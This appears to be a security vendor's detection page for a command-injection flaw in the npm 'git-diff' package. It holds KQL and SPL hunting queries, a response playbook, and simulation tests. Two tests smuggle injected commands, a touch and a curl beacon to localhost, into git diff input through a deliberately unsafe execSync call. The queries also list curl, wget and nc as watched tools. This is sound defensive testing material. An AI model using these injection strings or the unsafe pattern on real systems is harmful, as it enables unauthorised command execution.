Skip to content
CVE-2026-110634 Microsoft Sentinel · KQL

Detect git-diff npm OS Command Injection via gitDiff Input Strings (CVE-2026-110634) in Microsoft Sentinel

Detects exploitation of CVE-2026-110634, an OS command injection vulnerability (CWE-78) in the npm 'git-diff' package before version 2.0.7. The vulnerable gitDiff API in js/gitDiffReal/generateDiff/index.js passes caller-supplied strings into a shell-executed git command without sanitization, allowing attackers who control the diff input strings to inject arbitrary OS commands (e.g., via shell metacharacters such as ;, |, &&, `$()`, backticks). CVSS 9.8, public PoC. This detection surfaces node processes that spawn git with shell metacharacters, anomalous child processes (sh, bash, cmd, curl, wget, nc) parented by node/git invocations, and installations of the vulnerable package version.

MITRE ATT&CK

Tactic
Initial Access Execution

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
// df00tech DF00-389d06272c · https://df00tech.com/detections/CVE-2026-110634 · licence: https://df00tech.com/detections/licence
DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ ("node", "node.exe", "npm", "npm.cmd")
| where FileName in~ ("sh", "bash", "dash", "cmd.exe", "powershell.exe", "curl", "wget", "nc", "ncat", "git", "git.exe")
| where ProcessCommandLine has_any (";", "|", "&&", "$(", "`", "||", ">", "<") 
   or InitiatingProcessCommandLine has_any (";", "|", "&&", "$(", "`")
| where InitiatingProcessCommandLine has_any ("git-diff", "gitDiff", "generateDiff")
   or FileName in~ ("sh","bash","cmd.exe","powershell.exe","curl","wget","nc","ncat")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName
| order by Timestamp desc
critical severity medium confidence

Flags node/npm processes spawning shell, download, or git child processes whose command lines contain shell metacharacters consistent with gitDiff input-string command injection.

Data Sources

Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents

False Positives & Tuning

  • Legitimate build or CI tooling that invokes git via node with command lines containing pipes or redirection
  • Developer scripts that chain git commands with shell operators for diff post-processing
  • Monorepo tooling that shells out to git from node wrappers during normal operations

Other platforms for CVE-2026-110634


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Install vulnerable git-diff package version

    Expected signal: npm process installing [email protected]; package.json version field shows 2.0.6

  2. Test 2 Simulate gitDiff command injection via crafted input string

    Expected signal: node process spawns /bin/sh executing 'git diff file.txt; touch /tmp/gitdiff_pwned'; touch child process creates /tmp/gitdiff_pwned

  3. Test 3 Simulate command injection with network egress payload

    Expected signal: node process spawns /bin/sh then curl attempting outbound connection to 127.0.0.1:9


Response Playbook

Triage

  1. Confirm whether the affected host runs an application depending on the npm 'git-diff' package; run 'npm ls git-diff' in project roots and check package-lock.json / node_modules/git-diff/package.json for a version < 2.0.7.
  2. Extract the full command line and parent/child process tree from the alert and identify the shell metacharacters (;, |, &&, $(), backticks) injected into the git invocation.
  3. Determine the source of the diff input strings, trace which application endpoint or user-controlled field fed the gitDiff API (file paths, branch/commit strings) and whether the input was attacker-reachable.
  4. Check whether the spawned child process performed network egress, file writes, or credential access following the injected command.

Containment

  1. Isolate or network-quarantine the affected host if a non-git child process (shell, curl, wget, nc) was successfully spawned by the node/git chain.
  2. Kill the offending node process tree and block outbound connections initiated by injected commands pending investigation.
  3. Take the vulnerable application offline or disable the code path invoking the gitDiff API until the package is upgraded to git-diff >= 2.0.7.

Evidence Collection

  1. Capture the full process-creation events (command line, parent, user, hashes) for the node process and all descendants, plus EDR process tree export.
  2. Collect the application logs and request logs showing the input strings passed to the gitDiff API, and preserve node_modules/git-diff/js/gitDiffReal/generateDiff/index.js for version confirmation.
  3. Snapshot the host filesystem and memory if a secondary payload (reverse shell, dropped binary) is suspected, and preserve network flow records for egress from injected commands.

Escalation Criteria

  • !Escalate to incident response if an injected command successfully spawned a shell, established outbound C2, or accessed credentials/secrets.
  • !Escalate to the application owner and change management if the vulnerable git-diff version is confirmed in a production, internet-facing service.
  • !Escalate if evidence of lateral movement, persistence, or data exfiltration follows the initial injection.

Investigation Guide

Forensic Artifacts

  • >Process-creation telemetry showing node/npm as parent of shell/git with shell metacharacters
  • >node_modules/git-diff/package.json version string and generateDiff/index.js source
  • >Application request/input logs containing the crafted diff strings
  • >Outbound network connection records from injected child processes

Tuning Guidance

Baseline legitimate CI/CD and developer tooling that invokes git from node with shell operators, and exclude known build-agent hosts and service accounts. Tighten by requiring a non-git child process (shell, curl, wget, nc) spawned from the node/git chain to reduce noise from benign piped diff commands. Prioritize alerts where the git-diff package version is confirmed < 2.0.7 and the input source is externally reachable.


Hunting Queries

Hunts for node-parented git invocations carrying shell metacharacters indicative of gitDiff input-string injection.

Hunting — KQL
kql
// df00tech DF00-389d06272c · https://df00tech.com/detections/CVE-2026-110634 · licence: https://df00tech.com/detections/licence
DeviceProcessEvents | where InitiatingProcessFileName in~ ("node","node.exe") | where ProcessCommandLine has "git" and ProcessCommandLine has_any (";","|","$(","`","&&") | project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessCommandLine
Hunting — SPL
spl
``` df00tech DF00-389d06272c · https://df00tech.com/detections/CVE-2026-110634 · licence: https://df00tech.com/detections/licence ```
index=edr parent_process_name IN ("node","node.exe") process="*git*" | regex process="[;|`]|&&|\$\(" | table _time host user process parent_process

Atomic Red Team Tests

Test 1 Install vulnerable git-diff package version
linux

Installs git-diff < 2.0.7 to establish a vulnerable baseline for detection testing.

Command

bash
mkdir -p /tmp/gitdiff-test && cd /tmp/gitdiff-test && npm init -y >/dev/null 2>&1 && npm install [email protected] >/dev/null 2>&1 && cat node_modules/git-diff/package.json | grep '"version"'

Cleanup

bash
rm -rf /tmp/gitdiff-test

Expected Telemetry

npm process installing [email protected]; package.json version field shows 2.0.6

Expected Detection

Software inventory/vulnerability scan flags git-diff < 2.0.7; no process-injection alert expected at this stage.

Test 2 Simulate gitDiff command injection via crafted input string
linux

Invokes a node wrapper that passes an attacker-controlled string containing shell metacharacters into a shell-executed git diff command, mimicking the vulnerable gitDiff code path.

Command

bash
cd /tmp/gitdiff-test && node -e "const {execSync}=require('child_process'); const userInput='file.txt; touch /tmp/gitdiff_pwned'; execSync('git diff '+userInput, {shell:'/bin/sh'});" ; ls -l /tmp/gitdiff_pwned

Cleanup

bash
rm -f /tmp/gitdiff_pwned

Expected Telemetry

node process spawns /bin/sh executing 'git diff file.txt; touch /tmp/gitdiff_pwned'; touch child process creates /tmp/gitdiff_pwned

Expected Detection

Detection fires on node-parented shell/touch process with shell metacharacters in the command line.

Test 3 Simulate command injection with network egress payload
linux

Simulates a higher-severity injection where the crafted string triggers an outbound download, modeling a real attack chain.

Command

bash
cd /tmp/gitdiff-test && node -e "const {execSync}=require('child_process'); const userInput='HEAD~1 && curl -s http://127.0.0.1:9/beacon || true'; execSync('git diff '+userInput, {shell:'/bin/sh'});"

Cleanup

bash
echo 'no artifact to remove'

Expected Telemetry

node process spawns /bin/sh then curl attempting outbound connection to 127.0.0.1:9

Expected Detection

Detection fires on node-parented curl process chained via && from a git command line.

Related Detections